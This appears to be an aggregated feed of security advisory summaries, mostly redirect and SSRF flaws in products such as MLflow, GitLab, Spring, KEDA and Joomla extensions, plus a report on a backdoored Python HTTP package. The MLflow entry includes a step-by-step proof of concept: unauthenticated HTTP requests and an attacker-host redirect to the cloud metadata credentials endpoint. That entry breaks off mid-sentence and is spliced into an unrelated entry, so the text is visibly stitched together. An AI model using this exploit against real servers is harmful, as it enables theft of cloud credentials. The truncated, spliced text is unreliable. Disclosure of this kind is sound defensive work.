A Server-Side Request Forgery (SSRF) vulnerability exists in the GitLab AI Gateway component affecting multiple versions from 18.9.0 through 19.2.2. An authenticated user with Duo Agent Platform access could exploit this flaw to redirect model requests to attacker-controlled endpoints, potentially exposing Google Vertex AI or AWS Bedrock cloud service credentials. The vulnerability has a high severity score of 8.2 and affects cloud-hosted services.
CVE-2026-47883 is an open redirect vulnerability in the UrlHandlerFilter component of the Spring Framework, affecting Spring MVC and Spring WebFlux. It arises when the filter is configured with broadly matching patterns, enabling redirection to untrusted sites. This vulnerability affects Spring Framework versions 6.2.0 through 6.2.19 and 7.0.0 through 7.0.8. The CVSS score of 6.1 indicates medium severity.
Threat actors are abusing npm and its mirrors to host malicious HTML pages that impersonate Cloudflare CAPTCHAs. These pages redirect visitors to attacker-controlled websites, facilitating phishing attacks. This abuse leverages the trust in npm package hosting and its mirrors to distribute deceptive content.
rclone versions before v1.75.0 have a vulnerability where they fail to reject transport downgrades during redirect handling. This flaw allows Basic authorization and Cookie headers to be replayed over plaintext HTTP after HTTPS-to-HTTP redirects on the same host. An attacker positioned on the network path can capture and reuse these credentials to perform WebDAV operations with the compromised account's permissions.
Ech0 versions through 4.5.6 have an OAuth redirect URI validation vulnerability in the parseAndValidateClientRedirect function. The vulnerability arises because only the scheme and host of the redirect_uri are validated against an allowlist, ignoring path, query, and fragment components. This allows an attacker to craft a redirect_uri with an allowed host but attacker-controlled path, potentially leaking a one-time OAuth exchange code. The code can be intercepted and exchanged for the victim's access and refresh tokens. This issue is fixed in version 4.7.3.
CVE-2026-78145 is an open redirect vulnerability in CTFd versions 3.8.0 through 3.8.4. It arises from improper validation in the _is_safe_url function in CTFd/utils/validators/__init__.py, allowing manipulation of the Next parameter to redirect users to arbitrary URLs. The vulnerability can be exploited remotely and requires user interaction. A patch has been identified and upgrading is recommended to mitigate the issue.
KEDA versions prior to 2.20.0 contain an injection vulnerability in the PostgreSQL scaler component. The vulnerability arises because connection strings are constructed from tenant-controlled parameters without sufficient escaping, allowing injection of additional connection parameters. This can enable an attacker with permissions to create or modify TriggerAuthentication or ScaledObject resources to redirect database connections, expose credentials, or disable TLS protections. The issue is fixed in version 2.20.0.
Joomla Extension - j2commerce.com - Open redirect in cart controller in J2Store 1.0.0-3.3.20, 4.0.0-4.0.20, 4.1.0-4.1.5 - Four task handlers accepted a base64-encoded URL from user input and redirected to it without validating the destination host, enabling phishing using the shop's trusted domain. No authentication required.
A reflected cross-site scripting (XSS) and open redirect vulnerability exists in the Zoo extension for Joomla versions 1.0.0 through 4.1.65. The issue arises from improper neutralization of input in the submission redirect parameter. This vulnerability could allow an attacker to execute arbitrary scripts in the context of the affected web application.
### Summary
The default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.
### Details
Three facts combine:
1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.
2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`:
```python
schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False
for addr_info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(addr_info[4][0])
if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata
```
The resolved IP is never carried into the connection.
3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:
```python
def _create_webhook_session():
adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning
...
def _send_webhook_request(webhook, payload, event, session):
_validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only
return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
# no allow_redirects=False -> 302 followed; redirect Location never re-validated
```
test_webhook returns response_status and response_body to the caller.
Bypass vectors:
Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.
DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.
### PoC
All requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF
fetch is performed by the MLflow server itself; the internal response is reflected back in the
`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP
and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.
Attacker redirect server (on {{ATTACKER}}, valid TLS cert):
nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }
Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)
<img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" />
Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}}
<img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" />
Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:
POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}
-> 200 {"result":{"success":true,"response_status":200,
"response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}
<img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" />
Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting
to a
SecureDrop Client is a desktop app for journalists to securely communicate with sources and handle submissions on the SecureDrop Workstation. Prior to version 1.3.1, a malicious SecureDrop Server could bypass securedrop-proxy's origin limitation by responding with cross-origin redirects. SecureDrop Server itself has multiple layers of built-in hardening, and is a dedicated physical machine exposed on the internet only via Tor hidden services for the Source and Journalist interfaces, and optionally via remote SSH access over another Tor hidden service. A newsroom's SecureDrop Workstation communicates only with its own dedicated SecureDrop Server. Version 1.3.1 fixes the issue.
CVE-2026-66787 is a vulnerability in the lighthouse component of Red Hat Advanced Cluster Management for Kubernetes. It involves insufficient validation of advertised IP addresses within EndpointSlice objects. A compromised spoke cluster can exploit this flaw to redirect legitimate service traffic to malicious endpoints, enabling transparent Man-in-the-Middle (MITM) attacks on cross-cluster communications. This can lead to unauthorized information disclosure and data manipulation. The vulnerability has a high severity with a CVSS score of 8.7. Red Hat has addressed this issue in version 2.17 with security fixes and updated container images.
n8n versions prior to 1.123.69, 2.33.4, and 2.34.1 contain a stored cross-site scripting (XSS) vulnerability in the Form node's completion page. This vulnerability arises because the completion page applies its Content-Security-Policy sandbox only when respondWith is not set to 'redirect', but always renders responseText as raw HTML. An authenticated user can exploit this by setting respondWith to 'redirect' while keeping responseText populated, causing unsanitized HTML and scripts to be served from the n8n origin. Visitors submitting the affected public form may have malicious scripts execute in their session context.
A network of 41 fraudulent websites impersonates popular games and Windows software, using authentic product information and real download links to deceive users. These sites employ JavaScript to show legitimate URLs on hover but redirect users to the Download Studio installer upon clicking. The campaign targets users seeking common software and security tools, pushing them through affiliate redirects. Download Studio's automatic updater was compromised in 2020 to distribute malware, raising concerns about potential risks, although no current malicious activity is confirmed.
An open redirect vulnerability (CWE-601) exists in the yootheme.com Zoo extension for Joomla versions 1.0.0 through 4.1.63. The vulnerability occurs in the CommentController::twitterAuthenticate() function where the referer request parameter is passed directly to setRedirect() without validation, allowing redirection to untrusted sites. This issue has a medium severity with a CVSS score of 5.1.
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (dcb6f64adb9e9635c1060d7c40db6006cad5446b87dcd7b20ceeb8ee7c6980f8)
The package presents itself as a requests-style HTTP client but its response processor inspects every JSON response for the magic keys `payloaddd`, `payload_gz`, and `payload_zlib`. When any of these are present, the value is base64/gzip/zlib-decoded and passed to Python `exec()` inside PayloadProcessor.process / process_compressed / process_zlib, invoked from RequestHandler._process_response on every JSON response. The magic key is then deleted from the returned dictionary so the caller cannot observe that it was there. Three parallel encoding wrappers (raw base64, base64+gzip, base64+zlib) all funnel into `exec()` inside broad try/except blocks. A source comment literally labels the branch `# Hidden execution`. Any HTTP endpoint reached via reqcrypt.get/post/put/... — including redirect targets and any on-path attacker — can therefore execute arbitrary Python in the caller's process. This behavior is not disclosed in the README, and the key-stripping ensures callers cannot detect that a payload was executed.
## Source: kam193 (8e66755912c02a4de1ed6f86b092e2a0dcdadbcaef931cbd07c6d2306619f3e4)
The package contains a hidden backdoor. The promised functionality is an HTTP request library with some additional functions. On every usage, code secretly checks for the presence of specific fields in the response, and if they are found, their content is secretly executed.
---
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-08-reqcrypt
Reasons (based on the campaign):
- backdoor
CVE-2026-50143 is a Server-Side Request Forgery (SSRF) vulnerability in the apify-mcp-server prior to version 0.10.11. It allows a malicious Actor publisher to manipulate URLs to redirect requests to third-party hosts, exposing the victim's Apify API token and enabling unauthorized access to Actors, stored data, and billable compute. The vulnerability is fixed in version 0.10.11.
CVE-2026-66780 is a vulnerability in the submariner-operator component of Red Hat Advanced Cluster Management for Kubernetes 2.11. The submariner-k8s-broker-cluster Role assigned to joined clusters has excessive permissions, allowing a compromised cluster to overwrite endpoint information of other clusters. This enables an attacker to redirect inter-cluster tunnel traffic and perform a Man-in-the-Middle (MITM) attack across the cluster mesh. The vulnerability has a CVSS 3.1 base score of 6.5, indicating medium severity. Red Hat has released security updates in version 2.17.1 and later to address this and other issues. No known exploits are reported in the wild.